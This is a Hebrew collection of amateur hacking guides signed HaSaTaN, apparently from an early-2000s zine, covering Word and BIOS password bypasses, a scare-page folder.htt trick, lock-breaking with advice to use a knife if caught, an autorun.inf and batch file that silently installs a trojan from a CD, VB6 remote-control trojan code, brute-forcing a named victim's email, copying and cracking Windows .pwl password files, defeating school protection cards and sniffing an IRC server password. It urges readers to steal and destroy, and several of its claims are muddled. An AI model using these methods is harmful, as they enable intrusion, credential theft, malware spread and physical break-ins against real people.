.9אם יש לך דברים רעים להגיד לי ,תגיד אותם לאמא שלך( ,עיין מספר )3
.10כל יום עיין בעשרת-הדיברות של ההאקר ,ותלמד את זה בע"פ ,זה יעזור לך יום אחד...
HaSaTaN
263
לעקוף סיסמאות של WORD
הנה טיפ קטן:
תלמדו עכשיו איך לעקוף את הסיסמא של ,wordבאופן ידני.
פשוט הפעילו את המחשב במצב בטוח (.)safe mode
תפתחו את מסמך הוורד ,וברוב גרסאות ה word -המסמך יפתח ללא סיסמא.
HaSaTaN
264
הודעת ארור 2
היי טוב אז הינה משהו שאם הקורבן שלכם לא מבין הרבה במחשבים (הגדרות ,)..יבהל לעללה,
זה משהוא שכשהוא פותח את התקייה Program filesאו Windowsהוא יראה הודעה שפרצו
לו והוא לא יוכל להכנס לתקיה.
זה בעצם עובד על העובדה שההצגה של הקבצים מתבצעת דרך HTMLולכן לא צריך לקמפל
את זה אלה האקפלורר
מקמפל את זה לבד בכל מקרה מה שעשיתי זה שיניתי את הקוד של הקובץ שאחראי להצגת
הקבצים (,)folder.htt
כך שבמקום שכאשר ילחצו על הלינק שאמור להיות "הצג קבצים" (שגם אותו שיניתי ל"
)"www.hasaatn.up.co.il
הוא יוביל לדף שאומר שאי אפשר למצא את הדף...
מה שצריך לעשות זה להתחבר אלי ולהשתיל לו את הקובץ לתוך התקייה שרוצים ,וזהו ,בפעם
הבאה שהוא יכנס
לתיקיה הוא יקבל את ההודעה!!!
ואפשר גם להביא אותו לשם על ידי פתיחת תוכנה /אתר ,ושם לכתוב את הנתיב (.)c:\windows
ואז הוא יראה את זה אוטומטית אפילו בלי להיכנס אתם יכולים לשנות את הקובץ איך שאתם
רוצים ולעשות דברים יותר מסוכנים או לא ,ולשלוח לו.
טוב ...זה עד לפעם הבאה!
HaSaTaN
265
פריצת מנעולים
טוב אז ככה את המדריך הזה אני כותב לבד אני המצאתי אותו ואף אחד אחר לא יכול לקחת את
הקרדיט עליו ,יש לכם שאלה?
תשאלו אותי כי אני בטוח בטוח אדע בקשר לזה **!ב ט ו ח!**
טוב אז ככה המדריך הראשון שאני כותב ,זה בנושא אנרכיה (הנושא האהוב עליי).
אם אתם רוצים אני גם מבין בפריקינג ובפצצות מעולה לכל שאלה ובקשה דברו איתי באיי סי
קיו שלי
ובבקשה תשתדלו לא לקרוא לו איציק כי זה נשמע מפגר !!!
אז ככה:
המדריך יהיה בנושא פריצת מנעולים
:ok lets see
.1סיכה-כמו אטב ברזל למי שמכיר שתופסים בעזרתו ניירות ושאפשר לפתוח אותו לעמוד אחד
ארוך.
.2לפעמים מברג קטן גם יכול להיות מומלץ אבל ממש לא הכרחי.
.3סכין.
.4מוח (הכי חשוב ולא נראה לי שיש את זה לכולם).
אז סבבה מתחילים לפעול ,נתחיל עם המנעול הקטן ביותר והמסכן ביותר:
מנעול צבאי פשוט:
אז ככה תכניסו לתוכו את המברג וחזק נורא תנסו לשבור כל מה שבפנים אחר כך תכניסו את
הסיכה והוא ייפתח
כי הוא חרא של מנעול!!!
266
.3תפתחו עינייים לראות אם מגיע איזה מנהל\מורה\מנקה\שרת וכו....
.4תזהרו ממצלמות אבטחה (אצלי בביה"ס יש מלא).
.5תשתמשו במוח (שוב!!!) ותשננו את מה שרשמתי כרגע!!!
מצרכים:
^^^^^^^
.1סיכה כמו מקודם.
.2כושר שכנוע ודיבור יציב.
.3מיועד למי שחסר את ארבע בלבד:סכין,ידיים,רגליים,מסכה וכו....
אז ככה ברגע שתראו מנעול קודם כל תסתכלו טוב אם יש שם מצלמות תמיד תבואו ותסתכלו!!!
אחר כך קחו את הסיכת מתכת ותפתחו אותה עד שהיא תראה כמו מוט ישר ואז תעקמו אותה
לשתי חתיכות שוות כמו " ."Vאבל שתהיה הפוכה ,אחר כך תכניסו לממעול ותתחילו לסובב זה
בטוח ייפתח תמנעול!!!
מנסיון!!!
דרך אגב האטב צריך להיות גדול ולא קטן כדי שיככנס לחורי המנעול ,או קיי מה בדיוק עשינו
פה?
הכנסנו משהו דק וחד לתוך האיזור שבוא מכניסים תמפתח המשהו הדק וחד הזה נכנס לשיניים
של המנעול ופתח אותם!!!
התאוריה נראית דבילית אבל היא נכונה!!!
עכשיו במשך כל הפעולה אתם פותחים עין לראות אם אף אחד לא מגיע איזה מורה מסריח או
משהו דומה!!!
אם כן מגיע אז תצאו מזה עם איזה שהוא תירוץ ואם אתם אנשים שמשחק ועבודה בעיניים
ושכנוע
זה לא הקטע החזק שלהם אז תברחו במהירות ואם תופסים אותכם אז יש אנשים שאני יודע
שיעשו משהו עם
הידיים או הסכין שהמלצתי עליו מקודם!!!
מנעול אחרון:
המדריך על המנעול האחרון לא ע"י אף אחד אחר אני הראשון אמנם שכותב אותו אבל הפעם
הראשונה שדברו
עליו הייתה בתכנית "עובדה"-עם אילנה דיין!! (אז כל הקרדיט שמור לה חוץ מזה שאני
הראשון שכותב את זה!!!).
מצרכים:
.1מנעול עכביש\פלדלת כדי שתוכלו לפרוץ.
267
.2מפתח של בית!!!
(לא של האינטרקום של תיבת הדואר או של המחסן אלא של הבית בלבד).
.3פלאייר.
.4כמו תמיד מוח עיניים וכושר שכנוע.
אז סבבה אתם מוצאים מנעול דוחפים אליו חזק את המפתח ולוקחים את הפלאייר ומסובבים
אותו נורא חזק.
במקרה 3רק שתדעו שאתם תקבלו מאסר כי זה פריצה לבית ופריצה זה חתיכת עונש ,אז כדאי
שתצליחו לצאת מזה
פה נורא חשוב העיניים ופחות חשוב לדעת לדבר כי לא משנה מה תגידו עדיין תחטפו(מכות או
עונש מה שתבחרו).
הצעה שלי:ברגע שתופסים אתכם תברחו כמו לא יודע מה כי ממש אבל ממש לא כדאי שיתפסו
אותכם!!!
או קיי אז עברנו על הכל דרך אגב על פריצה למנעול הראשון לא יקרה לכם כלום אלא אם הוא
קשור
לאיזה שהוא תיק ואז זה פריצה +חדירה לפרטיות!!!
על פריצה למנעול השני לא יקרה לכם כלום אלא אם הוא תפוס על משהו כמו הדוגמא שקרתה
לי שהוא
היה על ברז כיבוי בבית הספר העונש שתקבלו הוא :פריצה או מעשה וונדליזם או שניהם ביחד
תלוי כמה נאחס יש לכם בחיים!!!
HaSaTaN
268
Autorun
היי מה המצב?
ישבתי וחשבתי על רעיון חמוד איך להדביק מישהו בוירוס /טרויני בלי שהוא יחשוד בכם.
כי אם אתה שולח למישהו קובץ והוא פותח אותו ו 2-דקות אחר כך מישהו פרץ לו למחשב אתם
תהיו מייד ברשימת החיסול שלו...
אז פה בא הרעיון שלי אבל הוא יעבוד רק על חברים שאתם יכולים להגיע אליהם אל המחשב או
שאתם יכולים להיות איתו במגע פיזי (גישה לוקאלית) ,בקיצר אם עדין לא קלטתם אתם
צריכים להעביר לו סידירום ( )CD-ROMאו בשפה העברית תקליטור.
איך זה עובד:
אז ככה יוצרים קובץ חדש בשם autorun.infובתוכו כותבים:
קונטרול שיפט
[]autorun
>icon=<icon's path
open=Autorun.bat
קונטרול שיפט
הסבר:
[ -]autorunהגדרת הקובץ
< = >icon=<icon's pathהמיקום והשם של הקובץ>
- open=Autorun.batפותח אוטומתית את הקובץ שאנחנו עומדים לעשות.
קונטרול שיפט
@echo off
>copy <trojan's (patch.exe)> <c:\game-name.exe
cls
<>c:\game-name.exe
הסבר:
@ - echo offאומר שלא יציג את הפקודות
269
>copy <trojan's name.something> <drive:\path\trojan's name.exeמעתיק את
הטרויני למחשב
- clsמוחק את כל מה שיש בחלון
< - >drive:\path\trojan's name.exeמפעיל את הטרויני מהמחשב.
270
Visoal basic torgan
הבהרה:
במדריך הזה נקרא לחלק ששולחים לקורבן " -טרויני",
ולחלק שנשאר אצלכם " -שלט"
למרות שזה לא השם הנכון כל כך...
המקור זה סרבר (קורבן) וטרויני (שלט)
אבל מטעמי נוחות (שלי) אני יכתוב ככה!
קודם תתקינו את ( VB6אני עובד איתו) ,אחר כך:
)1תפתחו טופס חדש סטנדרטי לכו לאיפה שיש לכם את כל הפקדים (לחצן תיבת טקסט.)...
לחצן ימני >- components >-לשונית.controls :
עכשיו כל מה שעשינו ב 1 -תעשו עוד פעם (תפתחו עוד פעם את VBשיהיה לכם 2חלונות של
)...VB
עכשיו תעשו לשניהם שמור ( )saveולאחד תקראו serverולשני .trojan
מה שעשינו עד עכשיו זה פתחנו 2פרויקטים אחד לטרויני ואחד לשלט.
תוסיפו לטופס של השלט תיבת טקסט ותשנו לו את השם ל ip -ואת הטקסט ל.127.0.0.1 :
תוסיפו לחצן לטופס ותשנו את הכיתוב ( )captionל"התחבר".
)2תלחצו פעמים על שטח ריק של הטופס יפתח לכם החלון של הקוד של השלט תמחקו את כל
מה שרשום שם ותרשמו:
קונטרול שיפט
271
)(Private Sub Command1_Click
- On Error GoTo erהוראה שבמיקרה של טעות לך ל 'er
'מכוון את הווינסוק להתחבר לאייפי שהכנסתם Win.RemoteHost = ip.Text
'שולח פקודת connect "Win.SendData "Connect
Exit Sub
:er
" MsgBoxכנראה שלא כתבת כתובת"" ,vbCritical ,בעית חיבור"
End Sub
קונטרול שיפט
קונטרול שיפט
272
' Win.RemoteHost = Win.RemoteHostIPמכוון את כתובת שליחת הנתונים לכתובת
שמחוברת אליו כעט
'בודקים מה התקבל Select Case data
'אם התקבל connect "Case "Connect
'שלח בחזרה connected "Win.SendData "connected
End Select
End Sub
קונטרול שיפט
מה שעשיתנו עד עכשיו זה תוכנית קטנה שמשתמשת בווינסוק כדי להתחבר ל IPבפורט .777
שולחת פקודת connectלטרויני והטרויני בודק איזה פקודה התקבלה ומבצע את המשימה
המוגדרת למקרה כזה (שולח חזרה פקודה בהתאם .)connected -השלט מקבל ובודק פקודה
התקבלה ומבצע את המשימה המוגדרת למקרה כזה .זה הבסיס ומזה אנחנו נפתח טרויני נורמלי
( -+פלוס מינוס למי שלא הבין.)...
אם עד עכשיו הכל עבד טוב תמשיך לקרוא ,אבל אם לא אז תחזור ותקרא ותנסה ותקרא ותנסה
ותקרא ותנסה עד שתצליח .חשוב מאוד להצליח הכל עד עכשיו כי מעכשיו פחות או יותר רק
משכללים את הבסיס הזה.
,OKמפה אפשר להמשיך בכל מני דרכים אנחנו נמשיך בצורה של ( HaTrojanמצורף לגליון).
תוסיפו לחצן שעליו יהיה כתוב "השתמש".
תוסיפו ליסט בוקס לטופס של השלט וב form1_load -תוסיפו בסוף ליפני .end sub
קונטרול שיפט
קונטרול שיפט
קונטרול שיפט
273
קונטרול שיפט
קונטרול שיפט
'מגדיר משתנה מסוג מחרוזת שיכיל את המידע שיתקבל Dim data As String
'מכניסים את הקלט למשתנה Win.GetData data
'בודקים מה התקבל Select Case data
'אם התקבל connect "Case "connected
'הפוך את הכותרת של הפורם ל connected Form1.Caption = data
End Select
'סלקט חדש בישביל פקודות עם פרמטרים )Select Case Left(data, 3
'במקרה ש ... "Case "get
')pr = Right(data, Len(data) - 4המשתנה מקבל את הערך שבא אחרי הפקודה
'מוציא לפלט את המשתנה )MsgBox (pr
'אם לא התאים לשום דבר עד עכשיו או שזה היה פקודת קונקט Case Else
'מוציא לפלט את המידע שהגיע )MsgBox (data
End Select
קונטרול שיפט
קונטרול שיפט
274
'מחזיר לשלט אישור שבוצע בהצלחה "Win.SendData "msg is OK
'במקרה ש... "Case "get
'המשתנה מקבל את הקלט של המשתמש )"pr = InputBox("get
'שולח את הפקודה +רווח +משתנה Win.SendData "get " & pr
'מחזיר לשלט אישור שבוצע בהצלחה "Win.SendData "get OK
End Select
קונטרול שיפט
זהו להיום תקחו את הדוגמה הבסיסית ותשכללו אותה ותעשו איזה טרויני גדול (תשלחו לי
העתק ,)LOL -
אם אתם רוצים אתם יכולים לקבל רעיונות מה HaTrojan -לפעולות ומבנה...
נ.ב.
HaSaTaN
275
bios
אהלן ,מה קורה ???
אתם בטח די-מעוצבנים שכל היום מדברים איתכם בצ'טים ובפורומים על BIOSועוד מלא
דברים כאלה ,ואתם פשוט -אין לכם מושג על מה הם מדברים ,אז הגיע הזמן שתתחילו לקלוט
מה זה ,איך משתמשים בזה וכו'
אז הנה האינדקס:
ה BIOS -משום מה -מזכיר קצת את הרג'יסטרי ,נכון הם לא אותו דבר -אך יש דימיון כלשהו
ביניהם.
,Okאז ככה -ה BIOS -נועד למתכנתים ,בשביל לקבוע את ההגדרות החשובות ביותר במחשב,
שבלעדיהם המחשב ישבוק חיים לעד ,לדוגמא:
הגדרת הדיסק קשיח ,הגדרות התצוגה -חלוקה ל( PARTITIONES -מי שלא מבין אז לא
משנה ,זה לא ממש חשוב)
בשבע מילים :בלי זה -למחשב שלכם אין סיכוי לשרוד.
אתם בטח מכירים את זה -אבל כשאתם מדליקים את המחשב -למעלה תוכלו לראות את גירסת
ה BIOS -ברוב המחשבים ,4.51 :בשביל להעלות את ה - BIOS -שזה בעצם תוכנה קטנה כפי
שכבר הספקתם להבין ,לחצו DELשנמצא ליד האפס הגדול של המספרים בצד ימין של
המקלדת ,לאחר כמה שניות של לחיצה אתם אמורים לראות מן מסך אם כל מיני אפשרויות
לדוגמא:
cimos
futers setup
ועוד ועוד...
שמה ,ניתן להגדיר את כל ההגדרות שכתבתי לעיל .שינוי של האפשרויות ב BIOS -כרוך סימון
האופציה הרצויה ולחיצת PAGE DOWNאו .PAGE UP
276
^^^ איפה בכלל נמצא ה "BIOS" -הזה? ^^^
אוקי ,פתחו את המחשב עצמו ,אתם תראו שם מין בטרייה (סוללה) כזאת ,כמו של שעון רק
גדולה פי ,3לידה תוכלו לראות ג'וק (כל זה -על הלוח Mכמובן) על הג'וק הזה צרוב ה.BIOS -
קרה ונכנסתם ל BIOS -והוא ביקש סיסמא ולא היה לכם מושג מהי?
קראו את הדבר הבא ,ותדעו מה לעשות:
פתחו עוד פעם את המחשב ,הסוללה שאתם רואים בעצם היא זו שמאפשרת ל BIOS -לעבוד,
ה BIOS -לא עובד על החשמל של התקע.
אז כל מה שאתם צריכים לעשות הוא פשוט מאוד -תוציאו את הסוללה וה BIOS -ימחק כולו
ואתם לאחר 30שניות תחזירו את הסוללה ,תפעילו את המחשב מחדש וכל ההגדרות יהיו לפי
ברירת-המחדל של הגרסא של ה ,BIOS -וגם -כמובן ,תימחק הסיסמא! (חם ......ומגניב)......
* נגיד ונדפק לכם המחשב ואין לכם לא windowsולא DOSפשוט לכו ל BIOS -גשו ל
feuters setupשמה עמדו על התיבה " "squence bootלחצו page downעד שתגיעו לc,cd- :
.rom,a
השאירו את זה ככה ,צאו מה feuters setup -ולחצו - exit and saveבינתיים הכניסו את
התקליטור של הווינדואוס והמחשב יזהה אותו ויפעיל אוטומתית את ההתקנה של .windows
* לעולם על תשנו כלום ב BIOS -חוץ ממה שאמרתי לכם מקודם -זה יכול לדפוק את המחשב
שלכם קשות !!
HaSaTaN
277
כוח ברוטלי
מהו כוח ברוטלי?
נגיד שאתם רוצים לפרוץ אתר ,או אימייל ,איך עושים את זה???
אז יש תוכנות שנקראות כוח ברוטלי ,יש שתי סוגים של תוכנות כוח ברוטלי!
=====----סוג ראשון=====-----
אתה מביא להם את ה ,username -והם אמורות לגלות לך את ה ,password -כיצד הם עושות
את זה?
כך ,פשוט הם בודקות את כל האפשרויות האפשריות ,לדוגמא:
הם בודקות ככה:
username:111
username:112
username:113
username:114
(ה username -מסמל את השם משתמש שאתה נתת לתוכנה ,ומה שמהצד השני של
הנקודתיים ,זה הסיסמא)
כך התוכנה של הכוח הברוטלי מוצאת בסוף את הסיסמא.
=====-----סוג שני=====-----
אתה מביא להם את ה ,username -והם אמורות לגלות לך את ה ,password -כיצד הם עושות
את זה?
יש להם קובץ טקסט מוכן ,שבו יש את כל הסיסמאות האפשריות ,והתוכנה פשוט בודקת את
ההתאמה של השם משתמש והסיסמא ,ע"י התאמה עם כל הסיסמאות האפשריות ,שנמאות
בקובץ.
שאלות נפוצות:
.1אם זה יצליח לי ,כמה זמן זה אמור לקחת?
.2מה שיעור האחוזים של ההצלחה לפרוץ סרבר (שרת ,או שרת )ftpאו דואר אלקטרוני?
תשובות:
.1אי-אפשר לדעת ,תלוי מה הסיסמא ,עם הסיסמא ארוכה ואם המון מספרים ,קרוב לוודאי
שהתוכנה תגלה אותה לאחר 6שעות.
אבל אם הסיסמא קצרה ולא מסובכת ,זה יקח בערך בין 15דקות ל 30-דקות.
20% .2
אני כבר רואה את סימן השאלה על פניכם ,כן ,כן ,מה שקורה זה ,שרוב השרתים (ftp,
,)pop3,smtp,httpלא מאפשרים ניסיונות חוזרים עוד פעם ועוד פעם ,שכשהם מזהים כניסות
שגויות בזה אחר זה ,אם ניסיונות בסדר עולה ,הם מבינות שמשהו מסריח פה ,ועושים למחשב
278
,requiesd outשזה אומר ,פוט לא נונתים לך להמשיך ,ככה שהסיכוי להיפגש בשרת שלא
חסין לכך ,היא די קטנה!!
או.קי .עכשיו לשלב המעשי ,איך אני עושה את זה?
איפה אני יכול להשיג תוכנה כזאת?
אתם יכולים להוריד תוכנת כוח ברוטלי מהאתר שלי מהקישור הבא:
www.geocities.com/d_k_hack/files/wwwhack.zip
אחרי שהורדתם ,הפעילו את הפאצ' ( ,)patchשאמור לעצור את 30יום שנותנים לכם לתוכנה.
עכשיו ,אחרי שהורדתי אני רוצהלפרוץ אתר ,או אימייל איך אני עושה את זה?
ושם הולכים ל POP3 -נותן לכם אפשרות לגלות סיסמת דואר אלקטרוני של אנשים.
תלחצו על האפשרות הזאת יש שם תיבת טקסט שבה רושמים את שרת הדואר שמאוחסן אל
תיבת הדואר של הקורבן תרשמו את השרת.
(השרת של אינטרנט זהב:
in.zahav.net.il
אם אני לא טועה השרת של הוטמייל:
mailgw.hotmail.co.il
וכדומה.....
אתם יכולים לשלוח מכתב אל החברה ,והם יגידו לכם מה כתובת השרת)
עכשיו באגף ה USERNAME -תבחרו באפשרותALWAYS USE THE USER NAME -
עכשיו אם למשל הדואר של הקורבן הוא niv@zahav.net.il
אז לרשום NIVבאגף הpassword -
ותבחרו ב read from thiz fileתלחצו אישור.
עכשיו זה אמור להתחיל לעבוד.
' ' ' נותר רק לקוות שזה יעבוד!
עם תוכנת כוח ברוטלי אפשר לפרוץ ,גם סיסמאות של ווינדואוס ושל רשת מחשבים (,)novvel
פשוט התוכנה אחרת (זה לא אומר שהיא לא משתמשת בשתי השיטות שהזכרתי בהתחלה).
לדוגמא.cain ,
ניתן להוריד אותה מהאתר שלי ,בכתובת הבאה:
http://www.geocities.com/d_k_hack/files/Caine151.zip
הוראות הפעלה:
הפעילו את קובץ הזיפ ,בתוכו תמצאו קובץ בשם caine151 -בצורה של ( iconצלמית) ,של קובץ
התקנה.
התקינו את הקובץ.
לאחר שהתקנתם ,הפעילו את התוכנה ,לחצו על הכפתור ,cashed passwordתמונה שלו
נמצאת בקובץ של בגיליון בשם.cashed_password.jpg -
שם תוכלו לראות את סיסמת הרשת שלכם ,ואת כל האתרים להם יש לכם סיסמאות מבוטחות.
מדהים אה??
לחצו על כפתור ,screen saver ,מצורפת תמונה של הלחצן בשם ,screen_saver.jpg -והתוכנה
תקפיץ לכם אלרט עם הסיסמא...
עכשיו ,בכדי לפרוץ ססמאת ,windowsעליכם להעתיק את כל הקבצים בעלי סיומת הpwl -
מתיקיית c:/windows
עשו את זה כך:
כנסו לדוס ,לתיקיית ,windowsעם הדוס לא נפתח אוטומתית בתיקיית windowsלחצוcd :
windows
עכשיו ,הכניסו תקליטון :Aלתוך כונן התקליטונים והקלידו:
279
copy *.pwl A:
בואו נעבור שלב שלב לראות מה כתבנו ,בהתחלה מה הם קבצי ,pwl -קבצי pwl -הם הקבצים
בם מאוכסנים כל הסיסמאות של windowsאו במקרה אחר ,של .novvel
" "copyפקודה זו אומרת העתק.
" "*.pwlזו פקודה מאוד שימושית ,ה "*" -אומרת למחשב שיקח את כל הקבצים ,חכו עוד
שנייה תבינו ,למשל:
כשאני כותב ,*.* :זה אומר ,כל שמות הקבצים ,מכל הסוגים ,ה "*" -השמאלית ,מסמלת את
שמות הקבצים ,וה "*" -הימנית מסמלת את סוג הקבצים ( exe, jpg, wav, mp3, docוכו'.)..
אז כשכתבנו שאנו מעתיקים את כל שמות הקבצים (כתבנו כוכבית מצד שמאל) ,וכתבנו אחרי זה
" ".pwlזה אומר שכל שמות הקבצים רק מסוג.pwl -
" "A:שזה כמובן הפקודה להעתקה לכונן a:
עכשיו חוזרים ל windows -ע"י הקשת exit -או ,winומפעילים את התוכנה caineשוב ,הפעם
אנחנו נלך ל ,pwl files -תמונה של הלחצן מצורפת בשםpwl_files.jpg :
לאחר שלחצתם על הלחצן " "pwl filesליחצו על " "filesשנמצא בתפריט העליון ולחצו על "
( "add to listהוסף לרשימה) ,פתחו את כונן A:ופתחו את הקובץ (קבצים) שהעתקתם
מתיקיית windowsולחצו לחיצה ימנית על ה pwlהחדש שהצתרף והכניסו לו user name
(שם משתמש) .לחצו ENTERולחצו על הקובץ pwlהחדש לחיצה כפולה ,והוא יתחיל לעבוד!
הערה :יש קובץ jpgמצורף בשם caineשם תוכלו לקבל תמונה כללית של התוכנה!
HaSaTaN
280
Radix
המדריך לעקיפת כרטיס הרדיקס ( Radixלא עובד בטוח בכל הכרטיסים אצלי כן)
קודם כל מה זה רדיקס?
רדיקס זה כרטיס שאמור לשמור ולהגן על כל המידע של המחשב (ואנחנו עומדים לפרוץ אותו)
ויכול לשחזר את המידע במקרה של מחיקה של קבצים חשובים ,וירוס וכל סיבה אחרת של
בעיה במידע
בד"כ בתי ספר משתמשים בזה נגד ילדים שרוצים להרוס את המחשבים למחוק קבצים לשנות
הגדרות וכו'
יום אחד ישבתי משועמם בחדר מחשבים ולא היה מה לעשות אז התחלתי לנסות לפרוץ את
ההגנה וזה מה שיצא
אז ככה יש 3שיטות:
וסידירום
ביחרו בהארד-דיסק הוא יחשוב קצת ואז יגיד שלא נמצא כרטיס רדיקס להמשך הקישו Y
הוא יחשוב וימשיך לעלות וזהו יש לכם גישה ל WINללא הגנה!!!
לפעמים תצטרכו לעשות את זה כמה פעמים עד שזה יתקבל
לא לשכוח שכל דברים שתשנו ישארו וזה יכול להפליל אותכם
אז תזכרו כל דבר ששניתם ותשנו בחזרה שאתם גומרים.
נ.ב
כדי לסגור בחזרה את הרדיקס תצטרכו לכבות את במחשב לכמה דקות
.2שיטה שניה לא מסובכת אבל נותנת אפשרות לשנות קבצים רק במצב דוס וגם לא בטוח עובדת
בכל הכרטיסים
תתחילו מתקליטון איתחול של WINותעלו לדוס
וזהו אין הגנה !!!
מסובך ??
*** כל המדריך מבוסס על כך שאין מערכת הגנה נוספת ובשיתוף רגיל של מחשבים ברשת ***
*** אני לא יודע אם זה עובד גם באחרים ***
281
בכל מקרה פיתחו את המחשב יהיה לכם כל מיני כרטיסים על הלוח אם תחפשו אחד שיש עליו
מדבקה או
משהו שאומר שזה של חברת רדיקס ,ואני סומך עליכם שתדעו מה לעשות איתו(...השאלה כמה
אתם רוצים לשלם .) )-:
***
*
תנסו כמה פעמים אם לא עובד אל תתעקשו כניראה שיש אצלכם משהו אחר או גירסה חדשה
בכל מקרה אני לא אחרי לשטויות שתעשו.
תהנו!!
HaSaTaN
CHAT
צ'אטים ,צ'אטים צ'אטים מה לא נאמר על צ'אטים....
אהקיצקץ ,אני בטוח שכלכם ניסיתם להיכנס לצ'אטים דרך המירק ,אבל איפה לעזאזל נמצא
הצ'ט ומה הסיסמא שלו!
הכתובת של הצ'ט היא:
www21.brinkster.com/nof/chat.asp
שמה נעשה את כל הניסויים שלנו היום!
אחרי שנכנסתם לכתובת שהבאתי לכם הורידו את הפאקט-סניפר המ-ע-ו-ל-ה! מהכתובת
הבאה:
Ftp://Ftp.tamos.com/cv3.zip
תתקינו ויאללה ,לעבודה (עדיין על תירשמו ניק לצ'ט ,פשוט חכו עד שתגמרו להוריד את
התוכנה) ,אז ככה לאחר שהפעלתם את הפאקט סניפר אתם יכולים להבין בערך מה הוא עושה,
הפאקט סניפר הוא כלי חשוב מאוד בכל מחשב של האקר ,הפאקט סניפר מראה לך את
הפאקטים שמתקבלים לחמשב שלך דרך קווי-הטלפון ,כנסו שנייה לכרטיסייה ,IP statics
שמה תוכלו לראות את כל ה IP'S -שאתם מחוברים אליהם כעת ,זה יראה לכם גם את כל
הפורטים שפתוחים באותו ,IPאז אתם תראו:
ip statics ports
x.x.x.x 6667 ,80
אתם יכולים ללחוץ לחיצה ימנית על ה IP -ו show all ports :תופיע קופסא שתראה לכם:
80 ,6667
מירק HTTP
אז כבר יש לנו את ה IP -של השרת ,אז אפשר ללכת למירק ולכתוב:
server x.x.x.x 6667/
נראה מה קורה ,אה -תראו מה קרה:
error no previliges
אה קיצקץ ,יש לנו פה עסק אם שרת שיש לו סיסמא ,אז זה הולך בעצם ככה:
server x.x.x.x 6667 ***PASSWORD/
א-ב-ל א-י-ן ל-נ-ו א-ת ה-ס-י-ס-מ-א!
מה עושים?
אז כפי שהבנתם הפאקט-סניפר ,לא רק מראה לנו את כתובת ה IP -ולא רק את הפורטים אלא
גם את תוכן הפאקטים ואת ה( FLAGS -מוסבר ביתר פירוט בכתבה ,)ip_spoof.txt :אז ככה:
לחצו לחיצה ימנית על האי פי של השרת IRCשלנו וביחרו jump toושם ביחרו ,first packet
282
שמה נוכל לראות רשימה ענקית של כל הפאקטים שקילנו עד עכשיו מהשרת ,ואת כל
הפאקטים ששלחנו.
אנחנו רואים שאחד מהפאקטים מסומן ,ויש מתחתיו כל מיני קשקושים צבעוניים והנה אנחנו
רואים בסוף כתוב:
חירבוש כלשהו ,זוהי הסיסמא
זהו ,זו הסיסמא שלנו ,כל מה שנותר לעשות זה ללכת למירק ולכתוב:
server IP.IP.IP.IP 6667 PASSWORD/
וזה עובד!
מגניב ,פשוט מגניב ,אז תכייפו ,תהרסו ,תשפצו ,ותגנבו כל מה שאתם רואים!!!!!!
(על חשבון הבית)
HaSaTaN
CHOKE
טוב ,אז הכתבה הזאת לא אמורה להיות משהו מיוחד ,אלא רק סתם נישנוש!
אבל אני מקווה שרובכם תואהבו אותה!
אז ניגש לעניין ,יש דבר שניקרא ( chokeפרטים בהמשך),
ה choke -הזה (עם או תירצו תקראו לו "ווירוס") ,יהיה בילתי נראה על המחשב של הקרבן,
דבר ראשון ,ה choke -מועבר ע"י שיחה כל שהיא באמצעות פורט של קשר ישיר ללא הפרעת
שרת ,כגון ( ircמירק) ,icq, msn MESSNEGER ,אודיגו וכדומה ,ה ,choke -בזמן שאתה
נגיד מדבר עם xyל xy -רץ ה choke -שזה יותר גרוע מ 20פרצופים מנצנצים כל שנייה!
ברגע זה כשהו מדבר איתך ,הווירוס נפתח אצלו ,ומשתלט עליו ,כרגע( ,ממש עכשיו) הווירוס גם
הורס לא את ה bios -ושולח לך את ההודעה הבאה:
"תגיד ,אתה רוצה להוריד משחק של בלא בלא בלא???" ,הוא ישאל אותך את זה עוד פעם ועוד
פעם ,אבל זה לא הוא ,זה הווירוס!!!! (...)cool
ה"משחק" ,הוא בעצם ווירוס ,ואם אתם לא מצליחים לנסות לנחש איזה ווירוס ,אתם
דפוקים!!!
כי זה ה choke -עצמו!
כך ה choke -עובר מאחד לאחד ,וכשאנשים שואלים אותי מאיפה יש להם את הווירוס הזה
שדפק להם את המחשב ,זה ברוב המיקרים ה!choke -
הבעיה:
האנטי ווירוס (המחשב) ,יזהה אותו כתוסף לרשת התיקשורת!
הפיתרון( :תזכרו כלל חשוב :כמה שהבעיה קטנה ,ככה הפתרון שלה!)
ליחצו על:
התחל>----חיפוש>----קבצים ותיקיות >----וכיתבוchoke :
כל קובץ שתמצאו ,מחקו ,חוץ מקובץ הטקסט הזה.
HaSaTaN
283
DNSאיך זה עובד
מה זה בכלל ?DNS
חשבתם לעצמיכם פעם ,איך -כשאתם רושמים hostכלשהו ( www.walla.co.ilלדוגמא)
ה"אינטרנט" יודע איך לתרגם את זה ל??? IP -
הפעולות הבאות מתרחשות כשאתם מנסים להתחבר לwww.walla.co.il :
אז אחרי שהסברנו קצת על איך זה עובד ,אתם אמורים להבין את השאלה הגדולה!
איך לעזאזל פועל שרת ?DNSמאיפה הוא יודע מה ה IP -של איזה הוסט נידח ???
אז ככה.
לכל שרת ,DNSיש מין DATABASEששמה מאוחסנים במין טבלה רשימה דומה לזאת:
host ip
org 23.233.6.1
com 24.124.4.3
net 23.143.5.9
פשוט מאוד ,אתם מתחברים ל DB -של ה DNS -ונגיד הקלדנו www.walla.co.ilב DB -אנחנו
הולכים ל HOST -ושם ל CO.IL :וזה מביא לנו IPששם זה מן רשת של כל האתרים שנגמרים
.CO.IL -
בכל העולם ישנה את אותה רשימה ,אם לא ...לא היית יכול להיכנס מתאילנד לאתרים מהארץ,
כי ה DNS -שמה לא היה מכיר CO.IL.לכן איגוד( ICANN :על תשאלו אותי מה זה) קבע
שכל רשימות ה DNS -יהיו אותו דבר.
284
ולכן -כשאתם מחוברים לאינטרנט זהב אתם משתמשים ב DB -של הDNS SERVER -
שלהם!
פשוט ונחמד.
היית חושב ,שאם יש איזה מישהו שאחראי על ה DB -האלה ,אז הוא יכול לשנות למליוני
אנשים את ,www.cnn.comאבל לא! הרשימות עצמם מתעדכנות אחת מהשנייה כל הזמן ,ואם
אחת משתנה -היא מיד תשתנה למה שהייתה כי האחרות ישפיעו עליה ,ככה שאי-אפשר
לעשות שום דבר כדאי לשנות רשימות של ,DNSוגם אם תפרוץ לשרת - DNSזה יהיה חסר
תועלת -על אחריותי!
ביי ושתיחנק אמן!
HaSaTaN
התקפות DoS
התקפות Dosבהתקפות ,DoSאדם זדוני מבצע פעולה כלשהי על הרשת או השרת ,שמטרתה
להפריע לפעילותם השוטפת.
לדוגמה ,שרת אינטרנט מסוגל לטפל בכמות מוגבלת של תעבורה לפני שהו מאט לכדי זחילה.
